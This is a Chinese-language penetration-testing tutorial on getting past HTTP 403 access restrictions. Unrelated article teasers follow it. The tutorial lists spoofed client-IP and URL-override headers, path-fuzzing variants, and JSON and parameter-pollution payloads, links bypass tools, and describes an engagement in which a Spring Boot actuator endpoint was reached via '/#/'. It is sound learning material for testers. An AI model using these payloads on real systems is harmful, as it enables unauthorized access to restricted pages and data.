渗透技巧之403绕过【总结】

news2024/9/24 5:23:13

文章目录

  • 渗透技巧之403绕过【总结】
    • 0x01 前言
    • 0x02 背景
      • 1.什么是网页403?
      • 2.什么是403绕过?
      • 3.造成403的成因
    • 0x03 绕过方式
      • 1.绕过IP限制
      • 2.url覆盖绕过
      • 3.扩展名绕过(路径fuzz)
      • 4.更换协议版本
      • 5.HTTP 请求方法fuzz
      • 6.修改Referer
      • 7.修改user-agent
      • 8.常用自动化工具
    • 0x04 实战分析

渗透技巧之403绕过【总结】

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 背景

1.什么是网页403?

在浏览网站的时候,经常会遇到403的状态码,表示不允许访问。该状态表示服务器理解了本次请求但是拒绝执行该任务,该请求不该重发给服务器。指的是服务器端有能力处理该请求,但是拒绝授权访问。

2.什么是403绕过?

绕过 403 Forbidden Error 表示客户端能够与服务器通信,但服务器不允许客户端访问所请求的内容。

3.造成403的成因

首先我们来看看造成403可能得原因有哪些?

 1. 你的IP被列入黑名单。 
 2. 以http方式访问需要ssl连接的网址。
 3. 你在一定时间内过多地访问此网站(一般是用采集程序),被防火墙拒绝访问了。
 4. 你的网页脚本文件在当前目录下没有执行权限。
 5. 服务器繁忙,同一IP地址发送请求过多,遭到服务器智能屏蔽。
 6. 在不允许写/创建文件的目录中执行了创建/写文件操作。
 7. 网站域名解析到了空间,但空间未绑定此域名。
 8. 浏览器不支持SSL 128时访问SSL 128的连接。
 9. 连接的用户过多,可以过后再试。
 10.DNS解析错误,手动更改DNS服务器地址。 

0x03 绕过方式

1.绕过IP限制

部门网站只允许特定的IP进行访问,应该会验证客户端的IP,如果不是规定的IP,则会返回403。

可以通过下面的方式绕过:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost

2.url覆盖绕过

用户可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。

可以这样绕过的原因:有很多的web应用,只对uri地址内容进行权限检查,这就导致uri路径正常访问之后,我又覆盖了新的地址,导致403 ByPass

请求包

GET / HTTP/1.1
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Host: www.abc.com
Host: 192.168.126.6

3.扩展名绕过(路径fuzz)

基于扩展名(路径),用于绕过403受限制的目录。

abc.com/admin => 403
abc.com/admin/ => 200
abc.com/admin// => 200
abc.com//admin// => 200
abc.com/admin/* => 200
abc.com/admin/*/ => 200
abc.com/admin/. => 200
abc.com/admin/./ => 200
abc.com/./admin/./ => 200
abc.com/admin/./. => 200
abc.com/admin/./. => 200
abc.com/admin? => 200
abc.com/admin?? => 200
abc.com/admin??? => 200
abc.com/admin…;/ => 200
abc.com/admin/…;/ => 200
abc.com/%2f/admin => 200
abc.com/%2e/admin => 200
abc.com/admin%20/ => 200
abc.com/admin%09/ => 200
abc.com/%20admin%20/ => 200

其他api绕过

/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染)
user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)

4.更换协议版本

如果使用 HTTP/1.1,请尝试使用 1.0,或者测试看它是否支持 2.0。

5.HTTP 请求方法fuzz

尝试使用不同的请求方法来访问:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK。

6.修改Referer

网站限制了访问来源,如果访问来源不符合,则也会返回403。
绕过方式:设置referer为访问网站的host。

7.修改user-agent

有的应用为了区分爬虫或者正常请求,会验证user-agent,看是否浏览器发出的请求。

8.常用自动化工具

1.https://github.com/iamj0ker/bypass-403

在这里插入图片描述

用法:

./bypass-403.sh https://example.com admin
./bypass-403.sh website-here path-here

2.https://github.com/lobuhi/byp4xx

在这里插入图片描述

3.https://github.com/gotr00t0day/forbiddenpass
在这里插入图片描述

4.BurpSuite插件 403Bypasser:可以在burp扩展商店安装

在这里插入图片描述在这里插入图片描述其中的Query Payloads,Header Payloads都可以自行添加。

0x04 实战分析

今天我们将看一下我在今年早些时候进行的一项外部渗透测试之一。客户只提供我们一个系统的URL,由于有保密协议,我们将使用https://www.example.com来代替。

直接进入到主题,访问目标系统网页。访问链接https://www.example.com存在springboot actuator未授权访问泄漏 ,但是正常访问接口信息是403状态,进而我们可以尝试进行网页403 Forbidden Error的绕过。

我们进入网站返回了403 Forbidden,然后使用Burp Suite捕获请求,以便进行可能的绕过操作。(在此部分fuzz可以手动进行测试,就不一一示范了)
在这里插入图片描述使用刚才下载的BurpSuite插件 403Bypasser插件尝试绕过。

在这里插入图片描述在这里插入图片描述发现可以使用/#/进行绕过。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1285352.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Interpretable Multimodal Misinformation Detection with Logic Reasoning

原文链接 Hui Liu, Wenya Wang, and Haoliang Li. 2023. Interpretable Multimodal Misinformation Detection with Logic Reasoning. In Findings of the Association for Computational Linguistics: ACL 2023, pages 9781–9796, Toronto, Canada. Association for Computa…

智能全彩屏负氧离子监测站-生态环境知识科普

随着人们对健康和环境保护的关注度不断提高&#xff0c;一款名为 WX-FLZ50智能全彩屏负氧离子监测站的新产品应运而生。这款产品能够实时监测环境中的负氧离子浓度&#xff0c;为人们提供空气质量信息&#xff0c;帮助人们更好地了解和保护自身所处的环境。 WX-FLZ50智能全彩屏…

pyecharts可视化作图4:行业分布-条形图

pyecharts做条形图功能也非常强大&#xff0c;本文也只展示基本的功能。 1. 源代码 import pandas as pd from pyecharts.charts import Bar from pyecharts import options as opts from pyecharts.globals import ThemeType# 构建模拟数据 data_dict {行业名称: {0: 钢铁,…

如何解决vue中的组件样式冲突

目录 1&#xff1a;组件样式冲突问题 2&#xff1a;导致组件之间样式冲突的根本原因是&#xff1a; 3&#xff1a;问题演示 4&#xff1a;通过设置scoped解决组件之间样式冲突问题 5&#xff1a;设置scoped解决组件样式冲突的原理 6&#xff1a;使用deep修改子组件的样式…

TikTok新闻视角:短视频如何改变信息传递方式?

随着数字时代的不断发展&#xff0c;信息传递的方式也在不断演变。近年来&#xff0c;短视频平台TikTok崭露头角&#xff0c;通过其独特的15秒短视频形式&#xff0c;逐渐在新闻传播领域占据一席之地。本文将深入探讨TikTok在新闻视角下是如何改变信息传递方式的&#xff0c;以…

深入理解URL、URI和URN在Web开发中的重要性

引言&#xff1a; 在Web开发中&#xff0c;我们经常听到URL、URI和URN这几个术语&#xff0c;它们是构建和理解互联网资源的基础。虽然它们看起来相似&#xff0c;但实际上代表着不同的概念。本文将深入研究URL、URI和URN的定义、用途以及在Web开发中的重要性。 一、什么是URI&…

【Nacos】docker安装

Nacos 官网 Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称&#xff0c;一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集&#xff0c;帮助您…

人力资源管理系统的设计与实现

摘要 作为计算机应用的一部分&#xff0c;使用计算机对人力资源信息进行管理&#xff0c;具有手工管理所无法比拟的优点。例如&#xff1a;检索迅速、可靠性高、存储量大、保密性好、寿命长、成本低等。这些优点能够极大地提高人力资源管理的效率&#xff0c;也是企业的科学化…

帮企多城市分站系统源码+关键词排名优化推广 附带完整的搭建教程

随着市场竞争的加剧&#xff0c;企业对于网络营销的需求越来越多元化。传统的单一网站已经无法满足企业在网络营销方面的需求&#xff0c;因此我们需要开发一套多城市分站系统&#xff0c;以满足企业在不同地区、不同行业的需求。同时&#xff0c;我们还结合了关键词排名优化推…

一体化污水处理设备材质怎么选

在环保意识日益增强的今天&#xff0c;污水处理设备成为城市建设过程中的重要环节。而选择合适的一体化污水处理设备材质&#xff0c;则成为了一项重要的决策。本文将从专业的角度出发&#xff0c;为您解析一体化污水处理设备材质的选取。 首先&#xff0c;一体化污水处理设备材…

显存优化 Trick(gradient_accumulation、gradient_checkpointing、xformers)

Out of Memory 先来说下OOM问题&#xff0c;其实也是日常会遇到的情况。模型申请的显存超过了设备实际显存大小&#xff0c;则会报错Out of Memory。一般情况下&#xff0c;batch size设置过大&#xff0c;不能匹配自己手里的计算设备(GPU、TPU等)显存时&#xff0c;会经常触发…

深入了解JavaScript事件绑定:实现高效可靠的事件处理

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;JavaScript篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来JavaScript篇专栏内容:JavaScript-事件绑定方式 目录 事件绑定方式 什么是事件 DOM0级 事件 DOM0级事件…

【Linux】编译器-gcc/g++与调试器-gdb的使用

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 目录 前言 1.gcc/g语法 2.gcc的使用及…

ArkUI组件--Text组件

1.声明Text组件并设置文本内容 Text(content?:string|Recource) #两种数据类型&#xff0c;字符串和本地资源文件 ①string格式&#xff0c;直接填写文本内容 Text(需要显示的文本) ②Recource格式&#xff0c;读取本地资源文件 Text($r(app.string.width_label)) 读取图…

打开游戏提示缺少(或找不到)XINPUT1_3.DLL怎么解决

在电脑使用过程中&#xff0c;我们可能会遇到一些错误提示&#xff0c;其中之一就是xinput1_3.dll丢失。那么&#xff0c;xinput1_3.dll是什么文件&#xff1f;它对电脑有什么影响&#xff1f;本文将详细介绍xinput1_3.dll丢失的原因以及五个详细的解决方法&#xff0c;帮助大家…

个人测试面试问题总结

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 &#x1f4d1;设计软件测试用例的方…

赛氪网荣膺地理标志语言服务教育与实践基地联盟理事会员单位

随着地理标志产品推介需求的持续扩大&#xff0c;知识产权保护和语言服务行业面临着新的挑战和机遇。在这个背景下&#xff0c;知识产权出版社指导下的地理标志语言服务教育与实践基地联盟应运而生&#xff0c;旨在推动地理标志产品的推广和知识产权保护。赛氪网作为项目运营方…

自动化巡检实现方法 (一)------- 思路概述

一、自动化巡检需要会的技能 1、因为巡检要求一天24小时全天在线&#xff0c;因此巡检程序程序一定会放在服务器上跑&#xff0c;所以要对linux操作熟悉哦 2、巡检的代码要在git上管理&#xff0c;所以git的基本操作要熟悉 3、为了更方便不会代码的同学操作&#xff0c;所以整个…

JFrog Artifactory—高性能软件制品管理仓库

产品概述 JFrog Artifactory是一个可扩展的通用二进制存储库管理器&#xff0c;可在整个应用程序开发和交付过程中自动管理工件和依赖项。JFrog Artifactory支持大多数开发语言&#xff0c;是整个DevOps流水线中大多数软件包、容器映像和Helm图表的单一数据源。Artifactory对元…

马斯克“赛博皮卡”Cybertruck交付!43万起售,性能强如猛兽

原创 | 文 BFT机器人 埃隆马斯克常常被称为是“天才与疯子”的结合&#xff0c;一直是一个争议不断的人物。他九十年代创办电子支付公司&#xff1b;2004年成立特斯拉&#xff0c;开创了一个汽车领域的新时代&#xff1b;人到中年又扬言要发射卫星建立全球无线网…… 许多科技…